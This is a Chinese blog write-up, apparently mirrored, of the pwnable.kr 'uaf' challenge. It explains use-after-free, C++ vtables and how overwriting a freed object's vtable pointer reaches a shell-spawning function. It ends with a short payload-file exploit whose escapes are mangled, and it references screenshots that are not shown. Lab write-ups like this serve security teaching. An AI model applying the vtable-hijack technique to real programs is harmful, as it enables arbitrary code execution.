zoukankan      html  css  js  c++  java
  • pwnable.kr uaf之wp

    几乎都想要放弃了,感觉学了好久还是什么都不会,这个题好像很难的样子,有很多知识点需要补充一下:

    1.【UAF】分配的内存释放后,指针没有因为内存释放而变为NULL,而是继续指向已经释放的内存。攻击者可以利用这个指针对内存进行读写。
    2.【UAF利用】

    (1)先搞出来一个迷途指针

    (2)精心构造数据填充被释放的内存区域

    (3)再次使用该指针,让填充的数据使eip发生跳转。

    3.【malloc】

    大于512字节的请求,是纯粹的最佳分配,通常取决于FIFO,就是最近使用过的。

    小于64字节的请求,这是一个缓存分配器,保持一个快速的再生池块。

    在这个两者之间的,对于大的和小的请求的组合,做的最好的是通过尝试,找到满足两个目标的最好的。

    对于特别大的字节,大于128KB,如果支持的话,依赖于系统内存映射设备。

    4.【虚函数

    虚函数,一旦一个类有虚函数,编译器会为这个类建立一张vtable。子类继承父类(vtable)中所有项,当子类有同名函数时,修改vtable同名函数地址,改为指向子类的函数地址,子类有新的虚函数时,在vtable中添加。记住,私有函数无法继承,但如果私有函数是虚函数,vtable中会有相应的函数地址,所有子类可以通过手段得到父类的虚私有函数。

    接下来分析函数:

     1 #include <fcntl.h>
     2 #include <iostream> 
     3 #include <cstring>
     4 #include <cstdlib>
     5 #include <unistd.h>
     6 using namespace std;
     7 
     8 class Human{
     9 private:
    10     virtual void give_shell(){
    11         system("/bin/sh");
    12     }
    13 protected:
    14     int age;
    15     string name;
    16 public:
    17     virtual void introduce(){
    18         cout << "My name is " << name << endl;
    19         cout << "I am " << age << " years old" << endl;
    20     }
    21 };
    22 
    23 class Man: public Human{
    24 public:
    25     Man(string name, int age){
    26         this->name = name;
    27         this->age = age;
    28         }
    29         virtual void introduce(){
    30         Human::introduce();
    31                 cout << "I am a nice guy!" << endl;
    32         }
    33 };
    34 
    35 class Woman: public Human{
    36 public:
    37         Woman(string name, int age){
    38                 this->name = name;
    39                 this->age = age;
    40         }
    41         virtual void introduce(){
    42                 Human::introduce();
    43                 cout << "I am a cute girl!" << endl;
    44         }
    45 };
    46 
    47 int main(int argc, char* argv[]){
    48     Human* m = new Man("Jack", 25);
    49     Human* w = new Woman("Jill", 21);
    50 
    51     size_t len;
    52     char* data;
    53     unsigned int op;
    54     while(1){
    55         cout << "1. use
    2. after
    3. free
    ";
    56         cin >> op;
    57 
    58         switch(op){
    59             case 1:
    60                 m->introduce();
    61                 w->introduce();
    62                 break;
    63             case 2:
    64                 len = atoi(argv[1]);
    65                 data = new char[len];
    66                 read(open(argv[2], O_RDONLY), data, len);
    67                 cout << "your data is allocated" << endl;
    68                 break;
    69             case 3:
    70                 delete m;
    71                 delete w;
    72                 break;
    73             default:
    74                 break;
    75         }
    76     }
    77 
    78     return 0;    
    79 }

    如下:

    class Human{
    private:
        virtual void give_shell(){
            system("/bin/sh");
        }
    protected:
        int age;
        string name;
    public:
        virtual void introduce(){
            cout << "My name is " << name << endl;
            cout << "I am " << age << " years old" << endl;
        }

    类human有虚函数,所以有一个vtable,这个vtable中记录了类中所有虚函数的函数指针,即包括give_shell和introduce两个函数的函数指针。接着往下看:

    class Man: public Human{
    public:
        Man(string name, int age){
            this->name = name;
            this->age = age;
            }
            virtual void introduce(){
            Human::introduce();
                    cout << "I am a nice guy!" << endl;
            }
    };
    
    class Woman: public Human{
    public:
            Woman(string name, int age){
                    this->name = name;
                    this->age = age;
            }
            virtual void introduce(){
                    Human::introduce();
                    cout << "I am a cute girl!" << endl;
            }
    };

    这两个类函数,继承了hunam函数,实现了各自的Introduce,这两个类都会继承父类的vtable,vtable中introduce的函数指针被替换成了他们自己的函数地址。

    接下来再看主函数:

    int main(int argc, char* argv[]){
        Human* m = new Man("Jack", 25);
        Human* w = new Woman("Jill", 21);
    
        size_t len;
        char* data;
        unsigned int op;
        while(1){
            cout << "1. use
    2. after
    3. free
    ";
            cin >> op;
    
            switch(op){
                case 1:
                    m->introduce();
                    w->introduce();
                    break;
                case 2:
                    len = atoi(argv[1]);
                    data = new char[len];
                    read(open(argv[2], O_RDONLY), data, len);
                    cout << "your data is allocated" << endl;
                    break;
                case 3:
                    delete m;
                    delete w;
                    break;
                default:
                    break;
            }
        }
    
        return 0;    
    }

    主函数是一个case选择:

    1.调用两个类函数

    2.配data空间,从文件名为argv[2]中读取长度为argv[1]的字符到data部分

    3.释放对象

    这里如果是先执行3再执行2,那么把对象空间释放并且把指针置NULL却又去引用了,就触发了UAF漏洞。那么如何操纵被释放的空间呢?可以看到在case2中,是从文件名为argv[2]中读取长度为argv[1]的字符到data部分。利用前面所述UAF漏洞,data在分配空间的时候就分配到了case3中被释放的空间。如果我们能够把introduce函数的指针覆盖为give_shell的指针,那么就可以在接着执行1,调用shell了。

    可以看到程序中分配了24个字节,接着片下看:

    此处调用了man函数,一步步跟进去,发现了give_shell地址

    返回去看一下,发现了human的vtable,往上走一点,又发现了man的vtable:

    下面的地址点进去后:分别是give_shell地址和introducd地址

    而human中give_shell地址和与man一致,但introduce却不同:

    接着分析swich函数,选择1,调用introduce函数,

    补充:

    当类中有虚函数的时候,编译器会为类插入一个我们看不见的数据并建立一个表。这个表就是虚函数表(vtbl),那个我们看不见的数据就是指向虚函数表的指针——虚表指针(vptr)。虚函数表就
    是为了保存类中的虚函数的地址。我们可以把虚函数表理解成一个数组,数组中的每个元素存放的就是类中虚函数的地址。当调用虚函数的时候,程序不是像普通函数那样直接跳到函数的代码处,而
    是先取出vptr即得到虚函数表的地址,根据这个来到虚函数表里,从这个表里取出该函数的地址,最后调用该函数。所以只要不同类的vptr不同,他对应的vtbl就不同,不同的vtbl装着对应类的
    虚函数地址,这样虚函数就可以完成它的任务了。

    于是根据上图可以分析出v13是vptr,再由

    v13再转换为指针,加上8为introduce的第一个指针。然后调用introduce。

    我们漏洞利用的思路是调用introduce的时候,换成give_shell地址调用。

    所以往下分析:

    前面我们分析了give_shell的地址和introduce的地址give_shell的地址+8=introduce的地址。即give_shell=introduce-8,(give_shell=v13+8-8),如果想调用introduce时调用成give_shell就要将introduce的地址减去8指向give_shell地址

     

    如图,如果我们把vtable指向图中地址等于v13,那么v13+8调用introduce时不就调用成了give_shell

    “在C++中,如果类中有虚函数,那么它就会有一个虚函数表的指针__vfptr,在类对象最开始的内存数据中。之后是类中的成员变量的内存数据。”

     

    那么根据这句话所说,这个程序在case2中读取数据的填充到data空间的时候,开始的八字节就是vtable。之后是类的数据。

    所以利用过程如下:

    uaf@ubuntu:~$ python -c "print 'x68x15x40x00x00x00x00x00'" >/tmp/poc
    uaf@ubuntu:~$ ./uaf 24 /tmp/poc

    得到:

    选1先释放空间获得地址,选2读取数据填充到data空间,之后选择2是类的数据。然后选1调用函数

    参考链接 :http://blog.csdn.net/qq_20307987/article/details/51511230

  • 相关阅读:
    MYSQL/HIVESQL笔试题(一):HIVESQL(一)分组求TopN/行转列/列转行
    ALINK(七):ALINK使用技巧(二)
    Hive实战(6):完整案例(二)业务分析
    Hive实战(5):完整案例(一)准备
    Mysql基础(二十四):数据类型/常见约束
    Mysql基础(二十三):视图/存储过程
    数据可视化基础专题(三十四):Pandas基础(十四) 分组(二)Aggregation/apply
    Daily Coding Problem: Problem #677
    1027. Longest Arithmetic Subsequence (Solution 1)
    346. Moving Average from Data Stream
  • 原文地址:https://www.cnblogs.com/liuyimin/p/7344906.html
Copyright © 2011-2022 走看看